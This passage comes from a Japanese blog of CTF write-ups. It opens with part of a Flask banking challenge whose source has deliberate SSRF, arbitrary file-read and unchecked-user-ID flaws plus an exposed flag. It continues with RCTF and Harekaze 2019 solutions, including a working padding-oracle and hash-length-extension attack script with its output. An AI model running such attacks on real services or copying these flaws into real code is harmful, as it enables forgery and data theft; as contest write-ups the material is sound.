    active = request.form.get("is_active")
    country = request.form.get("country")
​
    with db.atomic():
      pk = Account.insert(firstname=firstname,lastname=lastname,
                profession=profession,purpose=purpose,
                email=email,password=password,active=active,country=country).execute()
​
      if pk:
        flash('You were successfully registered')
        return redirect(url_for('login'))
      else:
        flash('Something went wrong registrating your account')
​
  return render_template("register.html")
​
@app.route("/logout")
@flask_login.login_required
def logout():
  flask_login.logout_user()
  return redirect(url_for("index"))
​
@app.route("/dashboard")
@flask_login.login_required
def dashboard():
  return render_template("dashboard.html")
​
@app.route("/dashboard/dataportability/import", methods=['GET', 'POST'])
@flask_login.login_required
def dataportability_import():
  flag = ""
  error = ""
  if request.method == "POST":
    url = f'{request.form.get("url").replace("127.0.0.1", "")}/flag'
​
    if "localhost" in url:
      error = "Detected a possible hack. Using localhost is forbidden."
    elif url == "http://127.0.0.1/flag":
      flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}"
    else:
      try:
        u = urlopen(url, timeout=2)
        error = "This does not look like a banking site?"
      except Exception as e:
        error = f"Could not contact {url}, Reason: {e}"
​
​
  return render_template("import.html", flag=flag, error=error)
​
​
@app.route("/dashboard/dataportability/export", methods=['GET', 'POST'])
@flask_login.login_required
def dataportability_export():
  content = ""
  error = ""
  if request.method == "POST":
    account = request.form.get("account")
    try:
      with open(account, 'r', encoding='latin-1') as file:
        content = file.read()
    except Exception as e:
      error = f"Could not open file {account}, reason {e}"
  return render_template("export.html", file_content=content, error=error)
​
@app.route("/dashboard/transactions/<int:user_id>", methods=['GET', 'POST'])
@flask_login.login_required
def view_transactions(user_id):
  error = ""
  message = ""
  if request.method == "POST":
    to_account = request.form.get("toaccount")
    amount = int(request.form.get("amount"))
    to_user = Account.get_or_none(Account.account_number == to_account)
    if to_user:
      acc = flask_login.current_user
      if amount <= acc.balance:
        current_amount = acc.balance - amount
        acc.balance=current_amount
        acc.save()
        to_user.balance += amount
        to_user.save()
        Transactions.insert(from_acc=acc.id, to_acc=to_user.id, amount=amount).execute()
        message = f"You successfully sent {amount} SEK to account number \"{to_account}\"!"
      else:
        error = "You are trying send more money than what you own..."
    else:
      error = "That account number does not exist..."
​
    trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc())
  else:
    trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc())
​
  return render_template("transactions.html", transactions=trans, error=error, message=message)
​
if __name__ == "__main__":
  if os.environ.get("FLASK_DEBUG"):
    app.run(debug=True)
  else:
    app.run()

よく見ると、このソースコード中にフラグが書いてあった。

flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}"
h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck

RCTF 2019 Writeup

この大会は2019/5/18 10:00(JST)~2019/5/20 10:00(JST)に開催されました。
今回もチームで参戦。結果は1111点で405チーム中46位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (Misc)

Telegramに入ったら、メッセージにフラグが書いてあった。

RCTF{Welcome_To_RCTF2019}

baby_crypto (Crypto)

サーバ処理は以下のようになっている。

key: ランダム16バイト
iv : ランダム16バイト
salt: key

username: a-zで5文字以上10文字以下で指定
password: a-zで5文字以上10文字以下で指定

cookie: admin:0;username:[username];password:[password]
hv : salt + cookie のsha1
hv_hex : salt + cookie のsha1(hex)

cookie_padded: cookieのpadding

iv + cookie_padded暗号 + hvのhexを表示

cookie入力
復号後、以下の処理
・salt + cookieのsha1が一致しているかをチェック
・;区切りで各値を取り、adminの値が1の場合、フラグを表示

cookieのデータの末尾に";admin:1"が入っているデータでハッシュがわかるものをHash Length Extension Attackからハッシュと、対応するデータを求める。その際saltはkeyなので、長さは16バイトと分かっている。さらにそのデータに対する暗号文をCBC Oracle Padding Attackで生成する。

import socket
import hashpumpy
import binascii

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def pad(s):
    l = 16 - len(s) % 16
    return s + chr(l) * l

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('45.76.208.70', 20000))

data = recvuntil(s, ':\n').rstrip()
print data
username = 'admin'
print username
s.sendall(username + '\n')

data = recvuntil(s, ':\n').rstrip()
print data
password = 'admin'
print password
s.sendall(password + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
mac = data[-40:]

base_str = 'admin:0;username:' + username + ';password:' + password
h, d = hashpumpy.hashpump(mac, base_str, ';admin:1', 16)
pad_d = pad(d)
plain_blocks = [pad_d[i:i+16] for i in range(0, len(pad_d), 16)]

c = ['\x00'*16] * 5
for i in range(4, 0, -1):
    key = ''
    for j in range(16):
        for code in range(256):
            try_iv = 'X' * (15 - len(key)) + chr(code) + str_xor(key, chr(j+1)*j)
            cookie = try_iv + c[i] + 'h' * 20
            cookie = binascii.hexlify(cookie)
            data = recvuntil(s, ':\n').rstrip()
            print data
            print cookie
            s.sendall(cookie + '\n')
            data = recvuntil(s, '\n').rstrip()
            print data
            if data not in 'Invalid padding':
                key = chr(code ^ (j+1)) + key
                break
    c[i-1] = str_xor(plain_blocks[i-1], key)

cookie = binascii.hexlify(''.join(c)) + h
data = recvuntil(s, ':\n').rstrip()
print data
print cookie
s.sendall(cookie + '\n')
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Input username:
admin
Input password:
admin
Your cookie:
5633290bdd244501f1f689a3bae19fb112b83db0334df13c985d0bba608e6c72862632b10bbd4f2139c57e4b9830079d3f26d77ae8b9e8659e109fc5ed08d42ac06c663a4e1ad2282392ea588611eb610150cc2d
Input your cookie:
58585858585858585858585858585800000000000000000000000000000000006868686868686868686868686868686868686868
Invalid padding
        :
Input your cookie:
e965ebc63e74c43fd695d41737eaaf6a8d5f4d8e991c614853cfd3a37ebe04cb6868686868686868686868686868686868686868
Invalid padding
Input your cookie:
ea65ebc63e74c43fd695d41737eaaf6a8d5f4d8e991c614853cfd3a37ebe04cb6868686868686868686868686868686868686868
Invalid hash
Input your cookie:
9b1196bf405ee414b3f6a175499bd21f8d5f4d8e991c614853cfd3a37ebe04cb6cba5321c2052667775d12198cb964e4932b6e3035a82c1e7b587659aceacff000000000000000000000000000000000803eb104472c0600959f2aaccc645871fabbdbf8
Your flag: RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}
RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}

Harekaze CTF 2019 Writeup

この大会は2019/5/18 15:00(JST)~2019/5/19 15:00(JST)に開催されました。
今回もチームで参戦。結果は1960点で523チーム中5位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc 10)

問題にフラグが書いてあった。

HarekazeCTF{Thank_you_for_participating_in_Harekaze_CTF_2019}

ONCE UPON A TIME (Crypto 100)

処理概要は以下の通り。

・flagの長さが25の倍数になるよう%でパディング
・25バイトごとに5行5列の配列を配列にする。
・5行5列の配列ごとに以下のどちらかの処理
 ・takenoko(m2, mat):m2*mat
 ・takenoko(mat, m2):mat*m2

暗号データを25バイトずつに区切り、5×5の行列にしたものをCとする。

M1 * M2 = C
または
M2 * M1 = C

つまり元のデータM1は以下のどちらかで計算できる。

M1 = C * inverse(M2)
または
M1 = inverse(M2) * C

以上のことから逆算して復号する。

# solve.sage
def str2matrix(s):
    mat = []
    for j in range(5):
        row = []
        for i in range(5):
            row.append(ord(s[i+j*5]))
        mat.append(row)

    return mat

def matrix2str(mat):
    s = ''
    for j in range(5):
        for i in range(5):
            code = mat[j][i]
            s += chr(code)
    return s

def is_printable(mat):
    for j in range(5):
        for i in range(5):
            code = mat[j][i]
            if code < 32 or code > 126:
                return False
    return True

enc = 'ea5929e97ef77806bb43ec303f304673de19f7e68eddc347f3373ee4c0b662bc37764f74cbb8bb9219e7b5dbc59ca4a42018'
enc = enc.decode('hex')

M2 = matrix(Zmod(251), [[1,3,2,9,4], [0,2,7,8,4], [3,4,1,9,4], [6,5,3,-1,4], [1,4,5,3,5]])

flag = ''
for i in range(0, len(enc), 25):
    MAT = matrix(Zmod(251), str2matrix(enc[i:i+25]))
    inv_M2 = M2.inverse()
    M1 = MAT * inv_M2
    if is_printable(M1) == False:
        M1 = inv_M2 * MAT
    flag += matrix2str(M1)

flag = flag.rstrip('\x25')
flag = 'HarekazeCTF{%s}' % flag
print flag
HarekazeCTF{Op3n_y0ur_3y3s_1ook_up_t0_th3_ski3s_4nd_s33}

Twenty-five (Crypto 100)

ppencodeをテーマにした換字式暗号の問題。
crypto.txtの文字を換字式暗号としてうまく置換すると、実行結果がフラグになるということのようだ。perl予約語を辞書としてreserved.txtが提供されているので、参考にしながら置換していく。

length
alarm
break
semop
write
until
undef
eval
exec
join
crypt

上記に注目しながら、対応表を作ると、以下のようになる。

abcdefghijklmnopqrstuvwxy
tbwiupohdnvrsyqlkmaxfjcge

"*************************" を "tbwiupohdnvrsyqlkmaxfjcge" にして実行する。

$ perl twenty-five.pl 
HarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}
HarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}

Now We Can Play!! (Crypto 200)

Elgamal暗号になっているが、復号に違いがある。

def decrypt(c1, c2, pk, sk):
    p = pk[0]
    m = pow(3, randint(2**16, 2**17), p) * c2 * inverse(pow(c1, sk, p), p) % p
    return m

サーバ処理は上記のようになっているが、本来はこうなる。

m = c2 * inverse(pow(c1, sk, p), p) % p

そこで暗号結果のc1, c2をそのまま渡し、復号する。pow(3, randint(2**16, 2**17), p)の乗算が余計なので、ブルートフォースでinverseを計算し、フラグの形式で復号できるものを探す。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problem.harekaze.com', 30002))

data = recvuntil(s, '\n').rstrip()
print data
pk = eval(data[17:-1])

data = recvuntil(s, '\n').rstrip()
print data
c1, c2 = eval(data[18:-1])

data = recvuntil(s, 'c1 : ')
print data + str(c1)
s.sendall(str(c1) + '\n')

data = recvuntil(s, 'c2 : ')
print data + str(c2)
s.sendall(str(c2) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
m = eval(data[29:-1])

p = pk[0]
for i in range(2**16, 2**17):
    flag = (m * inverse(pow(3, i, p), p)) % p
    flag = long_to_bytes(flag)
    if flag.startswith('HarekazeCTF{'):
        print flag
        break

実行結果は以下の通り。

('Public Key :', (179173323191454988591857397662357046816406002058222699078082170304942344337525772960365297716675606420378518281831622210294670272131150121828106451512482462351605274656707674269628181870458122317495560207260507411107279195253094119477943994404974997604864735179278176112212343855702414394782510683988125734957L, 2, 53000002593913678937986352418727205538196468549418622475874892482076157998246352050156067510851110275400992586567516093249617976637603565776167257902162567157633995357563567618158233405560793326022137088001144379716157892590298561723225360685249181865325251167875039876719827029888693088533710738116269041133L))
('Cipher text :', (13939058318848869969892661769790944708827274443633249255860130775103355992242218114621405714834592066931918925168617885762705383632767654046468600883492671085892643960651879330981339090382368737591290752693040506297361373997196171277757061478625002075739258607973780566868938423203415950325973810026943457883L, 109590941535359400665615600141181086480543183338115818774409180733164575367102887217210860850806360120300452283512297474847898172474905185925208813871580965935842023665869656822510432339398702011062707781447851941826936476730118432113609805691528978006074326578988475630910504994019834070776807197697847292319L))
('------------------------------', '\n')
Input your ciphertext c1 : 13939058318848869969892661769790944708827274443633249255860130775103355992242218114621405714834592066931918925168617885762705383632767654046468600883492671085892643960651879330981339090382368737591290752693040506297361373997196171277757061478625002075739258607973780566868938423203415950325973810026943457883

Input your ciphertext c2 : 109590941535359400665615600141181086480543183338115818774409180733164575367102887217210860850806360120300452283512297474847898172474905185925208813871580965935842023665869656822510432339398702011062707781447851941826936476730118432113609805691528978006074326578988475630910504994019834070776807197697847292319

('Your Decrypted Message :', 39268793095845740212401926030298979200819615217155164098539854509541032469801080785289352965052801469642156674128708697912306078630662670836855612851002988923070651137189060084842307753112310645041440364059957404423987700979196172608023790040770192830357799786699784325482972837364501493640072710378719464216L)
HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}
HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}